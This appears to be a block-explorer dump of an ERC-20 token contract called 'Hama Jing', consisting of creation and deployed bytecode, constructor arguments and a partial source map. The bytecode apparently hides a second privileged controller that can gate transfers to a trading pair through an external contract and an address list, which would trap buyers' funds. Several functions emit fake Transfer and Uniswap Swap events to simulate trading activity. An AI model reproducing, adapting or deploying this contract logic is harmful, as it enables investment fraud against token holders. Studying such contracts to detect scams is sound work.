583604051610ef591906117f6565b60405180910390a3505050565b6000610f0e8484610b73565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610f885781811015610f7a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f71906120fc565b60405180910390fd5b610f878484848403610d39565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610ffd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff49061218e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361106c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106390612220565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141580156110d85750600460009054906101000a900460ff16155b1561125857600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036111ee576000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231856040518263ffffffff1660e01b815260040161118f9190611ae2565b602060405180830381865afa1580156111ac573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111d09190611e56565b905080806111e357506111e28461152a565b5b6111ec57600080fd5b505b6111f78261152a565b1561125757600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161461125657600080fd5b5b5b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156112df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d6906122b2565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516113cf91906117f6565b60405180910390a36113e2848484611612565b50505050565b6113f0610d31565b73ffffffffffffffffffffffffffffffffffffffff1661140e6107ed565b73ffffffffffffffffffffffffffffffffffffffff1614611464576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161145b90611d31565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000736b75d8af000000e20b7a7ddf000ba900b4009a8073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614806115b557506fa991c429ee2ec6df19d40fe0c80088b873ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b806115fa57506e05af2ddc1a93a03e9b7014064d3b8d73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611608576001905061160d565b600090505b919050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611651578082015181840152602081019050611636565b60008484015250505050565b6000601f19601f8301169050919050565b600061167982611617565b6116838185611622565b9350611693818560208601611633565b61169c8161165d565b840191505092915050565b600060208201905081810360008301526116c1818461166e565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611708826116dd565b9050919050565b611718816116fd565b811461172357600080fd5b50565b6000813590506117358161170f565b92915050565b6000819050919050565b61174e8161173b565b811461175957600080fd5b50565b60008135905061176b81611745565b92915050565b60008060408385031215611788576117876116d3565b5b600061179685828601611726565b92505060206117a78582860161175c565b9150509250929050565b60008115159050919050565b6117c6816117b1565b82525050565b60006020820190506117e160008301846117bd565b92915050565b6117f08161173b565b82525050565b600060208201905061180b60008301846117e7565b92915050565b60008060006060848603121561182a576118296116d3565b5b600061183886828701611726565b935050602061184986828701611726565b925050604061185a8682870161175c565b9150509250925092565b6000806040838503121561187b5761187a6116d3565b5b600061188985828601611726565b925050602061189a85828601611726565b9150509250929050565b600060ff82169050919050565b6118ba816118a4565b82525050565b60006020820190506118d560008301846118b1565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6119188261165d565b810181811067ffffffffffffffff82111715611937576119366118e0565b5b80604052505050565b600061194a6116c9565b9050611956828261190f565b919050565b600067ffffffffffffffff821115611976576119756118e0565b5b602082029050602081019050919050565b600080fd5b600061199f61199a8461195b565b611940565b905080838252602082019050602084028301858111156119c2576119c1611987565b5b835b818110156119eb57806119d78882611726565b8452602084019350506020810190506119c4565b5050509392505050565b600082601f830112611a0a57611a096118db565b5b8135611a1a84826020860161198c565b91505092915050565b60008060008060808587031215611a3d57611a3c6116d3565b5b6000611a4b87828801611726565b945050602085013567ffffffffffffffff811115611a6c57611a6b6116d8565b5b611a78878288016119f5565b9350506040611a898782880161175c565b9250506060611a9a8782880161175c565b91505092959194509250565b600060208284031215611abc57611abb6116d3565b5b6000611aca84828501611726565b91505092915050565b611adc816116fd565b82525050565b6000602082019050611af76000830184611ad3565b92915050565b600080fd5b60008083601f840112611b1857611b176118db565b5b8235905067ffffffffffffffff811115611b3557611b34611afd565b5b602083019150836020820283011115611b5157611b50611987565b5b9250929050565b600080600060408486031215611b7157611b706116d3565b5b600084013567ffffffffffffffff811115611b8f57611b8e6116d8565b5b611b9b86828701611b02565b93509350506020611bae8682870161175c565b9150509250925092565b60008060008060608587031215611bd257611bd16116d3565b5b600085013567ffffffffffffffff811115611bf057611bef6116d8565b5b611bfc87828801611b02565b94509450506020611c0f8782880161175c565b9250506040611c208782880161175c565b91505092959194509250565b611c35816117b1565b8114611c4057600080fd5b50565b600081359050611c5281611c2c565b92915050565b600060208284031215611c6e57611c6d6116d3565b5b6000611c7c84828501611c43565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611ccc57607f821691505b602082108103611cdf57611cde611c85565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611d1b602083611622565b9150611d2682611ce5565b602082019050919050565b60006020820190508181036000830152611d4a81611d0e565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b6000819050919050565b6000611daf611daa611da584611d80565b611d8a565b61173b565b9050919050565b611dbf81611d94565b82525050565b6000608082019050611dda60008301876117e7565b611de76020830186611db6565b611df46040830185611db6565b611e0160608301846117e7565b95945050505050565b6000606082019050611e1f6000830186611ad3565b611e2c6020830185611ad3565b611e3960408301846117e7565b949350505050565b600081519050611e5081611c2c565b92915050565b600060208284031215611e6c57611e6b6116d3565b5b6000611e7a84828501611e41565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611ebd8261173b565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611eef57611eee611e83565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611f56602683611622565b9150611f6182611efa565b604082019050919050565b60006020820190508181036000830152611f8581611f49565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611fe8602483611622565b9150611ff382611f8c565b604082019050919050565b6000602082019050818103600083015261201781611fdb565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061207a602283611622565b91506120858261201e565b604082019050919050565b600060208201905081810360008301526120a98161206d565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b60006120e6601d83611622565b91506120f1826120b0565b602082019050919050565b60006020820190508181036000830152612115816120d9565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612178602583611622565b91506121838261211c565b604082019050919050565b600060208201905081810360008301526121a78161216b565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061220a602383611622565b9150612215826121ae565b604082019050919050565b60006020820190508181036000830152612239816121fd565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b600061229c602683611622565b91506122a782612240565b604082019050919050565b600060208201905081810360008301526122cb8161228f565b905091905056fea264697066735822122059b2c4c0a02d9a9f67d99b47aa4d4010fb57ff1d21cb1c48324b40f0a35724a864736f6c63430008120033000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000174876e800000000000000000000000000000000000000000000000000000000000000000948616d61204a696e670000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000448616d6100000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101165760003560e01c80638da5cb5b116100a2578063a9059cbb11610071578063a9059cbb146102cf578063beabacc8146102ff578063dd62ed3e1461031b578063f2fde38b1461034b578063fde980ca1461036757610116565b80638da5cb5b1461025b57806395d89b41146102795780639ebbaef714610297578063a1c617f5146102b357610116565b80632d34ba79116100e95780632d34ba79146101b7578063313ce567146101d35780633a85d2c8146101f157806370a0823114610221578063715018a61461025157610116565b806306fdde031461011b578063095ea7b31461013957806318160ddd1461016957806323b872dd14610187575b600080fd5b610123610383565b60405161013091906116a7565b60405180910390f35b610153600480360381019061014e9190611771565b610415565b60405161016091906117cc565b60405180910390f35b610171610438565b60405161017e91906117f6565b60405180910390f35b6101a1600480360381019061019c9190611811565b610442565b6040516101ae91906117cc565b60405180910390f35b6101d160048036038101906101cc9190611864565b610471565b005b6101db61058e565b6040516101e891906118c0565b60405180910390f35b61020b60048036038101906102069190611a23565b610597565b60405161021891906117cc565b60405180910390f35b61023b60048036038101906102369190611aa6565b610790565b60405161024891906117f6565b60405180910390f35b6102596107d9565b005b6102636107ed565b6040516102709190611ae2565b60405180910390f35b610281610816565b60405161028e91906116a7565b60405180910390f35b6102b160048036038101906102ac9190611b58565b6108a8565b005b6102cd60048036038101906102c89190611bb8565b61095b565b005b6102e960048036038101906102e49190611771565b610ae6565b6040516102f691906117cc565b60405180910390f35b61031960048036038101906103149190611811565b610b09565b005b61033560048036038101906103309190611864565b610b73565b60405161034291906117f6565b60405180910390f35b61036560048036038101906103609190611aa6565b610bfa565b005b610381600480360381019061037c9190611c58565b610c7d565b005b60606006805461039290611cb4565b80601f01602080910402602001604051908101604052809291908181526020018280546103be90611cb4565b801561040b5780601f106103e05761010080835404028352916020019161040b565b820191906000526020600020905b8154815290600101906020018083116103ee57829003601f168201915b5050505050905090565b600080610420610d31565b905061042d818585610d39565b600191505092915050565b6000600354905090565b60008061044d610d31565b905061045a858285610f02565b610465858585610f8e565b60019150509392505050565b610479610d31565b73ffffffffffffffffffffffffffffffffffffffff16600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610508576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ff90611d31565b60405180910390fd5b81600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b60006008905090565b600080600090505b8451811015610783578481815181106105bb576105ba611d51565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8660405161061f91906117f6565b60405180910390a384818151811061063a57610639611d51565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d82286600080886040516106b99493929190611dc5565b60405180910390a3733579781bcfefc075d2cb08b815716dc0529f3c7d73ffffffffffffffffffffffffffffffffffffffff1663e156b1b686838151811061070457610703611d51565b5b602002602001015188866040518463ffffffff1660e01b815260040161072c93929190611e0a565b6020604051808303816000875af115801561074b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061076f9190611e56565b50808061077b90611eb2565b91505061059f565b5060019050949350505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6107e16113e8565b6107eb6000611466565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606007805461082590611cb4565b80601f016020809104026020016040519081016040528092919081815260200182805461085190611cb4565b801561089e5780601f106108735761010080835404028352916020019161089e565b820191906000526020600020905b81548152906001019060200180831161088157829003601f168201915b5050505050905090565b60005b83839050811015610955573073ffffffffffffffffffffffffffffffffffffffff168484838181106108e0576108df611d51565b5b90506020020160208101906108f59190611aa6565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161093a91906117f6565b60405180910390a3808061094d90611eb2565b9150506108ab565b50505050565b60005b84849050811015610adf5784848281811061097c5761097b611d51565b5b90506020020160208101906109919190611aa6565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8228560008087604051610a169493929190611dc5565b60405180910390a3848482818110610a3157610a30611d51565b5b9050602002016020810190610a469190611aa6565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610ac491906117f6565b60405180910390a38080610ad790611eb2565b91505061095e565b5050505050565b600080610af1610d31565b9050610afe818585610f8e565b600191505092915050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610b6691906117f6565b60405180910390a3505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610c026113e8565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610c71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6890611f6c565b60405180910390fd5b610c7a81611466565b50565b610c85610d31565b73ffffffffffffffffffffffffffffffffffffffff16600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0b90611d31565b60405180910390fd5b80600460006101000a81548160ff02191690831515021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610da8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9f90611ffe565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0e90612090565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ef591906117f6565b60405180910390a3505050565b6000610f0e8484610b73565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610f885781811015610f7a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f71906120fc565b60405180910390fd5b610f878484848403610d39565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610ffd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff49061218e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361106c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106390612220565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141580156110d85750600460009054906101000a900460ff16155b1561125857600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036111ee576000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231856040518263ffffffff1660e01b815260040161118f9190611ae2565b602060405180830381865afa1580156111ac573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111d09190611e56565b905080806111e357506111e28461152a565b5b6111ec57600080fd5b505b6111f78261152a565b1561125757600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161461125657600080fd5b5b5b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156112df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d6906122b2565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516113cf91906117f6565b60405180910390a36113e2848484611612565b50505050565b6113f0610d31565b73ffffffffffffffffffffffffffffffffffffffff1661140e6107ed565b73ffffffffffffffffffffffffffffffffffffffff1614611464576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161145b90611d31565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000736b75d8af000000e20b7a7ddf000ba900b4009a8073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614806115b557506fa991c429ee2ec6df19d40fe0c80088b873ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b806115fa57506e05af2ddc1a93a03e9b7014064d3b8d73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611608576001905061160d565b600090505b919050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611651578082015181840152602081019050611636565b60008484015250505050565b6000601f19601f8301169050919050565b600061167982611617565b6116838185611622565b9350611693818560208601611633565b61169c8161165d565b840191505092915050565b600060208201905081810360008301526116c1818461166e565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611708826116dd565b9050919050565b611718816116fd565b811461172357600080fd5b50565b6000813590506117358161170f565b92915050565b6000819050919050565b61174e8161173b565b811461175957600080fd5b50565b60008135905061176b81611745565b92915050565b60008060408385031215611788576117876116d3565b5b600061179685828601611726565b92505060206117a78582860161175c565b9150509250929050565b60008115159050919050565b6117c6816117b1565b82525050565b60006020820190506117e160008301846117bd565b92915050565b6117f08161173b565b82525050565b600060208201905061180b60008301846117e7565b92915050565b60008060006060848603121561182a576118296116d3565b5b600061183886828701611726565b935050602061184986828701611726565b925050604061185a8682870161175c565b9150509250925092565b6000806040838503121561187b5761187a6116d3565b5b600061188985828601611726565b925050602061189a85828601611726565b9150509250929050565b600060ff82169050919050565b6118ba816118a4565b82525050565b60006020820190506118d560008301846118b1565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6119188261165d565b810181811067ffffffffffffffff82111715611937576119366118e0565b5b80604052505050565b600061194a6116c9565b9050611956828261190f565b919050565b600067ffffffffffffffff821115611976576119756118e0565b5b602082029050602081019050919050565b600080fd5b600061199f61199a8461195b565b611940565b905080838252602082019050602084028301858111156119c2576119c1611987565b5b835b818110156119eb57806119d78882611726565b8452602084019350506020810190506119c4565b5050509392505050565b600082601f830112611a0a57611a096118db565b5b8135611a1a84826020860161198c565b91505092915050565b60008060008060808587031215611a3d57611a3c6116d3565b5b6000611a4b87828801611726565b945050602085013567ffffffffffffffff811115611a6c57611a6b6116d8565b5b611a78878288016119f5565b9350506040611a898782880161175c565b9250506060611a9a8782880161175c565b91505092959194509250565b600060208284031215611abc57611abb6116d3565b5b6000611aca84828501611726565b91505092915050565b611adc816116fd565b82525050565b6000602082019050611af76000830184611ad3565b92915050565b600080fd5b60008083601f840112611b1857611b176118db565b5b8235905067ffffffffffffffff811115611b3557611b34611afd565b5b602083019150836020820283011115611b5157611b50611987565b5b9250929050565b600080600060408486031215611b7157611b706116d3565b5b600084013567ffffffffffffffff811115611b8f57611b8e6116d8565b5b611b9b86828701611b02565b93509350506020611bae8682870161175c565b9150509250925092565b60008060008060608587031215611bd257611bd16116d3565b5b600085013567ffffffffffffffff811115611bf057611bef6116d8565b5b611bfc87828801611b02565b94509450506020611c0f8782880161175c565b9250506040611c208782880161175c565b91505092959194509250565b611c35816117b1565b8114611c4057600080fd5b50565b600081359050611c5281611c2c565b92915050565b600060208284031215611c6e57611c6d6116d3565b5b6000611c7c84828501611c43565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611ccc57607f821691505b602082108103611cdf57611cde611c85565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611d1b602083611622565b9150611d2682611ce5565b602082019050919050565b60006020820190508181036000830152611d4a81611d0e565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b6000819050919050565b6000611daf611daa611da584611d80565b611d8a565b61173b565b9050919050565b611dbf81611d94565b82525050565b6000608082019050611dda60008301876117e7565b611de76020830186611db6565b611df46040830185611db6565b611e0160608301846117e7565b95945050505050565b6000606082019050611e1f6000830186611ad3565b611e2c6020830185611ad3565b611e3960408301846117e7565b949350505050565b600081519050611e5081611c2c565b92915050565b600060208284031215611e6c57611e6b6116d3565b5b6000611e7a84828501611e41565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611ebd8261173b565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611eef57611eee611e83565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611f56602683611622565b9150611f6182611efa565b604082019050919050565b60006020820190508181036000830152611f8581611f49565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611fe8602483611622565b9150611ff382611f8c565b604082019050919050565b6000602082019050818103600083015261201781611fdb565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061207a602283611622565b91506120858261201e565b604082019050919050565b600060208201905081810360008301526120a98161206d565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b60006120e6601d83611622565b91506120f1826120b0565b602082019050919050565b60006020820190508181036000830152612115816120d9565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612178602583611622565b91506121838261211c565b604082019050919050565b600060208201905081810360008301526121a78161216b565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061220a602383611622565b9150612215826121ae565b604082019050919050565b60006020820190508181036000830152612239816121fd565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b600061229c602683611622565b91506122a782612240565b604082019050919050565b600060208201905081810360008301526122cb8161228f565b905091905056fea264697066735822122059b2c4c0a02d9a9f67d99b47aa4d4010fb57ff1d21cb1c48324b40f0a35724a864736f6c63430008120033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000174876e800000000000000000000000000000000000000000000000000000000000000000948616d61204a696e670000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000448616d6100000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): Hama Jing
Arg [1] : symbol_ (string): Hama
Arg [2] : amount (uint256): 100000000000

-----Encoded View---------------
7 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [2] : 000000000000000000000000000000000000000000000000000000174876e800
Arg [3] : 0000000000000000000000000000000000000000000000000000000000000009
Arg [4] : 48616d61204a696e670000000000000000000000000000000000000000000000
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000004
Arg [6] : 48616d6100000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

6189:6861:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7019:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9967:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9046:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10176:295;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6766:183;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7352:92;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7458:706;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9217:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5065:103;;;:::i;:::-;;4758:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7238:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8174:225;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8405:291;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9550:193;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8704:119;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9806:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5323:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8833:150;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7019:100;7073:13;7106:5;7099:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7019:100;:::o;9967:201::-;10050:4;10067:13;10083:12;:10;:12::i;:::-;10067:28;;10106:32;10115:5;10122:7;10131:6;10106:8;:32::i;:::-;10156:4;10149:11;;;9967:201;;;;:::o;9046:108::-;9107:7;9134:12;;9127:19;;9046:108;:::o;10176:295::-;10307:4;10324:15;10342:12;:10;:12::i;:::-;10324:30;;10365:38;10381:4;10387:7;10396:6;10365:15;:38::i;:::-;10414:27;10424:4;10430:2;10434:6;10414:9;:27::i;:::-;10459:4;10452:11;;;10176:295;;;;;:::o;6766:183::-;6847:12;:10;:12::i;:::-;6841:18;;:2;;;;;;;;;;;:18;;;6833:63;;;;;;;;;;;;:::i;:::-;;;;;;;;;6915:7;6907:5;;:15;;;;;;;;;;;;;;;;;;6938:3;6933:2;;:8;;;;;;;;;;;;;;;;;;6766:183;;:::o;7352:92::-;7410:5;7435:1;7428:8;;7352:92;:::o;7458:706::-;7638:4;7660:9;7672:1;7660:13;;7655:480;7679:10;:17;7675:1;:21;7655:480;;;7745:10;